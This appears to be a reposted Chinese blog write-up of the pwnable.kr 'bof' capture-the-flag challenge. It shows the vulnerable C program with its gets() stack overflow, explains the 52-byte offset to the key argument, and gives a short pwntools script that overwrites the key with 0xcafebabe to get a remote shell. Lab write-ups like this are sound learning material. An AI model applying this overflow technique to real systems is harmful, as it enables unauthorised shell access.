【pwnable.kr】bof


pwnable從入門到放棄,第三題。

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

很簡單的一道棧溢出題目。

依然先讀代碼:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

在gets處有一個明顯的棧溢出,溢出了overflowme變量。

目的是覆蓋key變量,導致在if判斷時,獲得執行bash的權限。

 

用ida看看棧分配的結構吧

看到數組overflowme的起始地址在ebp+s(-2c),key參數的其實地址在ebp+arg0(+8),中間就差了44+8 = 52個字節。

因此使用52個‘A’覆蓋之后再加上4字節的0xcafebabe,就可以了。

再次膜拜一發pwntools。

# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()

之后就可以獲得一個shell了。

 

 

ps:話說明天開始要做項目了 = =緊臟。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM